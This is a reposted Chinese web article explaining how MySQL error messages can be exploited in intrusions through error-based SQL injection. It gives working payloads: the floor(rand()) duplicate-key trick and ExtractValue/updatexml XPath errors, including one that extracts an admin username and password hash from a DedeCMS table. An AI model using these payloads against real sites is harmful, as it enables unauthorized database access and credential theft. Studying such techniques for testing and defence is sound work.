文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>mysql错误信息在入侵中的利用

mysql错误信息在入侵中的利用

时间:2010-12-06  来源:秩名

在很多的情况 下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射;
如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误,php中是调用mysql_error(),其他脚本可能有自己的函数),现在又有了更方便的方法。


网上流传了两三种方法:
=========================================================================

第一种略,略过了,低版本mysql适用
http://www.hackline.net/a/special/wlgf/jbst/2010/0512/3859.html

=========================================================================

 

第二种:

SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT 'x'))a from information_schema.tables group by a)b;

ERROR 1062 (23000): Duplicate entry '1x' for key 'group_key'

这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。

(select 1 from (select count(*),concat((+++),floor(rand(0)*2))x from information_schema.tables group by x)k)

=========================================================================

 

第三种:

通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL 5.1++,低于5.1的无此函数)

SELECT 1 AND ExtractValue(1, CONCAT(0x5c,(SELECT @@VERSION)))

ERROR 1105 (HY000): XPATH syntax error: '\5.1.40-community'

SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1);

ERROR 1105 (HY000): XPATH syntax error: '[admin:7a57a5a743894a0e]'

updatexml(1,CONCAT(0x5c,(SELECT @@VERSION)),1);

 

比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了。

百度一下这两个函数:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)。
作用:从目标XML中返回包含所查询值的字符串
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

 

标签分类:

相关阅读 更多 +
排行榜 更多 +
木棍人追赶去广告版下载

木棍人追赶去广告版下载

冒险解谜 下载
木棍人追赶去广告版下载

木棍人追赶去广告版下载

冒险解谜 下载
喜羊羊与灰太狼奇幻之旅官方正版下载

喜羊羊与灰太狼奇幻之旅官方正版下载

飞行射击 下载